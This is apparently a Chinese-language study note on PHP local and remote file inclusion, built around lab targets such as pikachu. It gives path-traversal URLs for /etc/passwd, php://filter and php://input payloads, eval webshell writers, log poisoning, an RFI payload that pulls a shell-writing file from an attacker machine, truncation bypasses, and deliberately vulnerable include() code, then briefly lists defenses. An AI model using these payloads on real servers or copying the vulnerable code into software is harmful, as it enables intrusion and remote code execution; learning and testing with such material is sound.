0%

文件包含笔记

学习文件包含的笔记。

文件包含分为

  • LFI本地文件包含
  • RFI远程文件包含

文件包含

LFI

LFI是本地文件包含漏洞,本地文件包含漏洞是指只能包含本机文件的文件包含漏洞,当Web应用程序未合理的包含一个文件时,存在此漏洞。攻击者可以控制输入注入路径遍历字符或服务器上其他文件进行攻击。文件包含不在意包含文件的后缀名,只要检测包含文件的内容中有php代码,就会以php方式解析执行。这也是能利用文件包含包含图片马的原因。

LFI漏洞很容易识别,比如:

1
https://tryhackme.com/?file=robots.txt

以及:

1
/lfi.php?file=index.html

所以我们可以通过操作文件位置来利用,比如:

1
2
3
http://127.0.0.1/home?page=../../../../etc/passwd

http://127.0.0.1/home?page=/etc/passwd

以此来访问系统上的/etc/passwd/文件.

漏洞的起因在于

  • include()等函数通过动态变量的方式引入需要包含的文件,然后该变量能被用户控制。

最简单的存在LFI漏洞代码

1
2
3
4
<?php
$file=$_GET['file'];
include($file);
?>

RFI

RFI就是远程文件包含。
需要目标服务器打开allow_url_include配置,这个配置项是默认关闭的。

漏洞危害

  1. 敏感信息泄露(相对路径&绝对路径都可以
  2. 获取webshell
    1. 直接一句话
    2. 使用fwrite或fputs生成一句话
    3. 日志文件中毒
  3. 任意命令执行

后端限制

如果后端限制了包含文件的后缀名(自动给输入的变量加上一个后缀(.html或.php)什么的,这时可以使用00截断。

php伪协议

file://

用法:

1
file://[文件的绝对路径]

如:

1
2
http://127.0.0.1/home.php?page=file:///etc/passwd
http://127.0.0.1/home.php?page=file://D:/111.txt

php://filter

常用于读取文件/源码。
不用base64编码直接使用的时候,不能查看源码。用法如下:

1
http://127.0.0.1/home.php?page=php://filter/read=convert.base64-encode/resource=./config.php 查看文件的源代码

php://input

input会把post的代码当作php脚本来执行,所以要抓包post恶意php代码。

抓包在post中输入

1
<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[a])?>')?>

如果能使用php://input伪协议,但是不能生成文件怎么直接用菜刀/蚁剑getshell?

菜刀:
这办法只有菜刀能用。

蚁剑:
这办法菜刀也能用。

post的参数都可以丢到连接密码里。

zip伪协议

zip伪协议
利用zip读取压缩包的文件,解压的压缩包后缀是什么没关系.
zip://绝对路径/压缩包文件名%23被压缩文件的文件名(%23是#)

伪协议总结

协议 php版本 allow_url_fopen allow_url_include 用法
file:// >=5.2 off/on off/on ?page=file:///etc/passwd
php://filter >=5.2 off/on off/on ?page=php://filter/read=convert.base64-encode/resource=./config.php
php://input >=5.2 off/on on ?page=php://input [post] ‘)?>
zip:// >=5.2 off/on off/on ?page=zip:///var/www/html/upload/file.zip%23phpcode.txt
bzip2:// >=5.2 off/on off/on
zlib:// >=5.2 off/on off/on
data:// >=5.2 on on ?page=data://text/plain,

获取webshell

包含图片马

文件包含不在意包含的文件的后缀名字,只要检测到php代码则会以php方式解析

LFI日志文件中毒

如果能访问目标系统的apache日志,那么我们可以考虑使用这个日志文件中毒的方式来执行系统命令,或插入一句话。
日志文件中毒要求对目录应该具有读和执行权限。
使用日志文件中毒执行系统命令ls /var/www/html/lfi命令,注意要使用url编码将空格和斜杠转义。

ls

插入一句话
yijuhua

RFI包含生成一句话

目标机器:192.168.40.133,存在远程包含文件漏洞(靶场pikachu
目标漏洞url:http://192.168.40.133/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile2.php&submit=Submit
利用方式:将filename=include...处修改为:filename={攻击机器的url}/{生成一句话的文件的文本}
例如我的攻击机上面的文件为:newshell.php内容为

1
<?php fputs(fopen('czxcshell.php','a+'),'<?php eval($_POST[a])?>');?>

想让这个文件成功的被包含,那么就要将这这个newshell.php改名为newshell.txt再包含。最后构造的payload为

1
http://192.168.40.133/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.40.123/newshell.txt&submit=Submit

现在尝试访问该路径下的czxshell.php

这里不改名也行,只要你的网站没有php环境就可以了。

绕过方式

限制特定字符

如果限制了特定的文件字符的话,如
http://127.0.0.1/?page=cat
如果服务器限制了只能输入cat和dog的话.恰巧又有一个dogs的目录那就
http://127.0.0.1/?page=./cats/../flag.txt

%00截断

00截断是利用了php的一个漏洞。漏洞编号为CVE-2015-2348。使用前提要求较为严格。

  1. 服务器php版本小于5.3
  2. 魔术引号gpc处于关闭状态
  3. 要求上传路径可控

在url最后加入%00截断

./截断

利用多个英文句号(.)和反斜杆(/)来截断。不受GPC限制,但是在PHP5.3之后被修复

?伪截断

这个使用要求也是很严格的。要求可以远程文件包含,但是远程文件包含的配置项一般是默认关闭的。本地包含使用伪截断是不会成功的。

文件代码:

VAuditDemo-index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/* Include */
if (isset($_GET['module'])){
include($_GET['module'].'.inc');
}else{
?>
<div class="jumbotron" style="text-align: center;">
<h1><b>VAuditDemo</b></h1>
<p>一个简单的Web漏洞演练平台</p><br />
</div>
<div class="col-lg-12">
<h2>用於演示講解PHP基本漏洞</h2>
<p></p>
</div>
<?php
}
?>

构造的payload

1
http://192.168.40.123/?module=http://localhost/yjh.php?

都能远程包含了为什么还要伪截断..直接包含远程的inc文件不就好了吗…:(

防御方式

  1. 设置白名单
  2. 过滤危险字符
  3. 关闭危险配置
    1. allow_url_include=off

参考